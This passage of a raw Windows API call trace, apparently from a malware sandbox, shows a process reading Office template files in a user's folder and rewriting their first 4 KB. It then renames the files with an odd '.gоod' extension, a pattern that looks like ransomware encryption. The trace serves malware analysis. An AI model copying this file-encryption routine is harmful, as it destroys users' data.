ftLastWriteTime.dwHighDateTime=0x1d24188, nFileSizeHigh=0x0, nFileSizeLow=0x5cc66, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cashflow analysis.xltm", cAlternateFileName="CASHFL~1.XLT")) returned 1 [0256.468] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LiveContent", cAlternateFileName="LIVECO~1")) returned 1 [0256.468] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1594be7a, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x1594be7a, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x15a0aa18, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x4605, dwReserved0=0x0, dwReserved1=0x0, cFileName="Normal.dotm", cAlternateFileName="NORMAL~1.DOT")) returned 1 [0256.469] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacac166f, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xacac166f, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0xd92f3100, ftLastWriteTime.dwHighDateTime=0x1d32689, nFileSizeHigh=0x0, nFileSizeLow=0x78dd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Welcome to Excel.xltx", cAlternateFileName="WELCOM~1.XLT")) returned 1 [0256.469] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0256.469] FindClose (in: hFindFile=0x134ab00 | out: hFindFile=0x134ab00) returned 1 [0256.469] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0256.469] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0256.469] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0256.469] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates", lpFilePart=0x0) returned 0x33 [0256.469] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xacdbc5f1, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xe3719c0d, ftLastAccessTime.dwHighDateTime=0x1d3aafb, ftLastWriteTime.dwLowDateTime=0xf50bbe18, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a9e0 [0256.469] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xacdbc5f1, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xe3719c0d, ftLastAccessTime.dwHighDateTime=0x1d3aafb, ftLastWriteTime.dwLowDateTime=0xf50bbe18, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.469] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacac166f, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xacac166f, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0x348a4400, ftLastWriteTime.dwHighDateTime=0x1d24188, nFileSizeHigh=0x0, nFileSizeLow=0x5cc66, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cashflow analysis.xltm", cAlternateFileName="CASHFL~1.XLT")) returned 1 [0256.470] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LiveContent", cAlternateFileName="LIVECO~1")) returned 1 [0256.470] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1594be7a, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x1594be7a, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x15a0aa18, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x4605, dwReserved0=0x0, dwReserved1=0x0, cFileName="Normal.dotm", cAlternateFileName="NORMAL~1.DOT")) returned 1 [0256.470] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacac166f, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xacac166f, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0xd92f3100, ftLastWriteTime.dwHighDateTime=0x1d32689, nFileSizeHigh=0x0, nFileSizeLow=0x78dd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Welcome to Excel.xltx", cAlternateFileName="WELCOM~1.XLT")) returned 1 [0256.470] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacac166f, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xacac166f, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0xd92f3100, ftLastWriteTime.dwHighDateTime=0x1d32689, nFileSizeHigh=0x0, nFileSizeLow=0x78dd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Welcome to Excel.xltx", cAlternateFileName="WELCOM~1.XLT")) returned 0 [0256.470] FindClose (in: hFindFile=0x134a9e0 | out: hFindFile=0x134a9e0) returned 1 [0256.470] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0256.470] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0256.471] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm", nBufferLength=0x105, lpBuffer=0x204ec8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm", lpFilePart=0x0) returned 0x4a [0256.471] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecda0) returned 1 [0256.471] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\templates\\cashflow analysis.xltm"), fInfoLevelId=0x0, lpFileInformation=0x3c8c050 | out: lpFileInformation=0x3c8c050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacac166f, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xacac166f, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0x348a4400, ftLastWriteTime.dwHighDateTime=0x1d24188, nFileSizeHigh=0x0, nFileSizeLow=0x5cc66)) returned 1 [0256.822] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecd60) returned 1 [0257.149] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm", nBufferLength=0x105, lpBuffer=0x204ec780, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm", lpFilePart=0x0) returned 0x4a [0257.149] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecca0) returned 1 [0257.149] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\templates\\cashflow analysis.xltm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0257.150] GetFileType (hFile=0x768) returned 0x1 [0257.150] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecc10) returned 1 [0257.150] GetFileType (hFile=0x768) returned 0x1 [0257.150] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x204ecdf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x204ecdf8*=0) returned 0x1000 [0257.150] ReadFile (in: hFile=0x768, lpBuffer=0x3fa4038, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ecdc8, lpOverlapped=0x0 | out: lpBuffer=0x3fa4038*, lpNumberOfBytesRead=0x204ecdc8*=0x1000, lpOverlapped=0x0) returned 1 [0257.151] CloseHandle (hObject=0x768) returned 1 [0257.151] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm", nBufferLength=0x105, lpBuffer=0x204ec780, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm", lpFilePart=0x0) returned 0x4a [0257.151] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecca0) returned 1 [0257.151] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\templates\\cashflow analysis.xltm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0257.151] GetFileType (hFile=0x768) returned 0x1 [0257.151] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecc10) returned 1 [0257.151] GetFileType (hFile=0x768) returned 0x1 [0257.151] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x204ecdf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x204ecdf8*=0) returned 0x5cc66 [0257.152] WriteFile (in: hFile=0x768, lpBuffer=0x3fa5ab8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x204ecce8, lpOverlapped=0x0 | out: lpBuffer=0x3fa5ab8*, lpNumberOfBytesWritten=0x204ecce8*=0x10, lpOverlapped=0x0) returned 1 [0257.152] CloseHandle (hObject=0x768) returned 1 [0257.153] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm", nBufferLength=0x105, lpBuffer=0x204ec780, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm", lpFilePart=0x0) returned 0x4a [0257.153] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecca0) returned 1 [0257.153] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\templates\\cashflow analysis.xltm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0257.153] GetFileType (hFile=0x768) returned 0x1 [0257.153] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecc10) returned 1 [0257.153] GetFileType (hFile=0x768) returned 0x1 [0257.153] ReadFile (in: hFile=0x768, lpBuffer=0x3faa070, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ecd78, lpOverlapped=0x0 | out: lpBuffer=0x3faa070*, lpNumberOfBytesRead=0x204ecd78*=0x1000, lpOverlapped=0x0) returned 1 [0257.183] CloseHandle (hObject=0x768) returned 1 [0257.183] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm", nBufferLength=0x105, lpBuffer=0x204ec780, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm", lpFilePart=0x0) returned 0x4a [0257.183] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecca0) returned 1 [0257.183] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\templates\\cashflow analysis.xltm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0257.183] GetFileType (hFile=0x768) returned 0x1 [0257.183] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecc10) returned 1 [0257.183] GetFileType (hFile=0x768) returned 0x1 [0257.183] WriteFile (in: hFile=0x768, lpBuffer=0x3fa8db0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x204ece28, lpOverlapped=0x0 | out: lpBuffer=0x3fa8db0*, lpNumberOfBytesWritten=0x204ece28*=0x1010, lpOverlapped=0x0) returned 1 [0257.184] CloseHandle (hObject=0x768) returned 1 [0257.184] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm", nBufferLength=0x105, lpBuffer=0x204ec8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm", lpFilePart=0x0) returned 0x4a [0257.184] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm.gоod", nBufferLength=0x105, lpBuffer=0x204ec8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm.gоod", lpFilePart=0x0) returned 0x4f [0257.184] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecd60) returned 1 [0257.184] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\templates\\cashflow analysis.xltm"), fInfoLevelId=0x0, lpFileInformation=0x204ece40 | out: lpFileInformation=0x204ece40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacac166f, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xacac166f, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0x95824820, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5cc76)) returned 1 [0257.184] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecd20) returned 1 [0257.184] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\templates\\cashflow analysis.xltm"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\templates\\cashflow analysis.xltm.gоod")) returned 1 [0257.185] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", nBufferLength=0x105, lpBuffer=0x204ec8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", lpFilePart=0x0) returned 0x3f [0257.185] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecda0) returned 1 [0257.185] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\templates\\normal.dotm"), fInfoLevelId=0x0, lpFileInformation=0x4028760 | out: lpFileInformation=0x4028760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1594be7a, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x1594be7a, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x15a0aa18, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x4605)) returned 1 [0257.186] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecd60) returned 1 [0257.186] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", nBufferLength=0x105, lpBuffer=0x204ec780, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", lpFilePart=0x0) returned 0x3f [0257.186] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecca0) returned 1 [0257.186] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\templates\\normal.dotm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0257.186] GetFileType (hFile=0x768) returned 0x1 [0257.186] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecc10) returned 1 [0257.187] GetFileType (hFile=0x768) returned 0x1 [0257.187] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x204ecdf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x204ecdf8*=0) returned 0x1000 [0257.187] ReadFile (in: hFile=0x768, lpBuffer=0x4028b48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ecdc8, lpOverlapped=0x0 | out: lpBuffer=0x4028b48*, lpNumberOfBytesRead=0x204ecdc8*=0x1000, lpOverlapped=0x0) returned 1 [0257.633] CloseHandle (hObject=0x768) returned 1 [0257.633] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", nBufferLength=0x105, lpBuffer=0x204ec780, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", lpFilePart=0x0) returned 0x3f [0257.633] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecca0) returned 1 [0257.633] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\templates\\normal.dotm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0257.633] GetFileType (hFile=0x768) returned 0x1 [0257.633] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecc10) returned 1 [0257.633] GetFileType (hFile=0x768) returned 0x1 [0257.633] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x204ecdf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x204ecdf8*=0) returned 0x4605 [0257.634] WriteFile (in: hFile=0x768, lpBuffer=0x3de1af8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x204ecce8, lpOverlapped=0x0 | out: lpBuffer=0x3de1af8*, lpNumberOfBytesWritten=0x204ecce8*=0x10, lpOverlapped=0x0) returned 1 [0257.634] CloseHandle (hObject=0x768) returned 1 [0257.635] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", nBufferLength=0x105, lpBuffer=0x204ec780, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", lpFilePart=0x0) returned 0x3f [0257.635] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecca0) returned 1 [0257.635] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\templates\\normal.dotm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0257.635] GetFileType (hFile=0x768) returned 0x1 [0257.635] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecc10) returned 1 [0257.635] GetFileType (hFile=0x768) returned 0x1 [0257.635] ReadFile (in: hFile=0x768, lpBuffer=0x3de5740, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ecd78, lpOverlapped=0x0 | out: lpBuffer=0x3de5740*, lpNumberOfBytesRead=0x204ecd78*=0x1000, lpOverlapped=0x0) returned 1 [0257.760] CloseHandle (hObject=0x768) returned 1 [0257.760] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", nBufferLength=0x105, lpBuffer=0x204ec780, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", lpFilePart=0x0) returned 0x3f [0257.760] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecca0) returned 1 [0257.760] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\templates\\normal.dotm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0257.760] GetFileType (hFile=0x768) returned 0x1 [0257.760] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecc10) returned 1 [0257.760] GetFileType (hFile=0x768) returned 0x1 [0257.760] WriteFile (in: hFile=0x768, lpBuffer=0x3c22240*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x204ece28, lpOverlapped=0x0 | out: lpBuffer=0x3c22240*, lpNumberOfBytesWritten=0x204ece28*=0x1010, lpOverlapped=0x0) returned 1 [0257.760] CloseHandle (hObject=0x768) returned 1 [0257.761] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", nBufferLength=0x105, lpBuffer=0x204ec8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", lpFilePart=0x0) returned 0x3f [0257.761] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm.gоod", nBufferLength=0x105, lpBuffer=0x204ec8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm.gоod", lpFilePart=0x0) returned 0x44 [0257.761] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecd60) returned 1 [0257.761] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\templates\\normal.dotm"), fInfoLevelId=0x0, lpFileInformation=0x204ece40 | out: lpFileInformation=0x204ece40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1594be7a, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x1594be7a, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x95da7cc9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4615)) returned 1 [0257.761] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecd20) returned 1 [0257.761] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\templates\\normal.dotm"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\templates\\normal.dotm.gоod")) returned 1 [0257.762] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx", nBufferLength=0x105, lpBuffer=0x204ec8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx", lpFilePart=0x0) returned 0x49 [0257.762] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecda0) returned 1 [0257.762] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\templates\\welcome to excel.xltx"), fInfoLevelId=0x0, lpFileInformation=0x3c879c8 | out: lpFileInformation=0x3c879c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacac166f, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xacac166f, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0xd92f3100, ftLastWriteTime.dwHighDateTime=0x1d32689, nFileSizeHigh=0x0, nFileSizeLow=0x78dd2)) returned 1 [0257.762] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecd60) returned 1 [0257.762] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx", nBufferLength=0x105, lpBuffer=0x204ec780, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx", lpFilePart=0x0) returned 0x49 [0257.762] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecca0) returned 1 [0257.762] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to 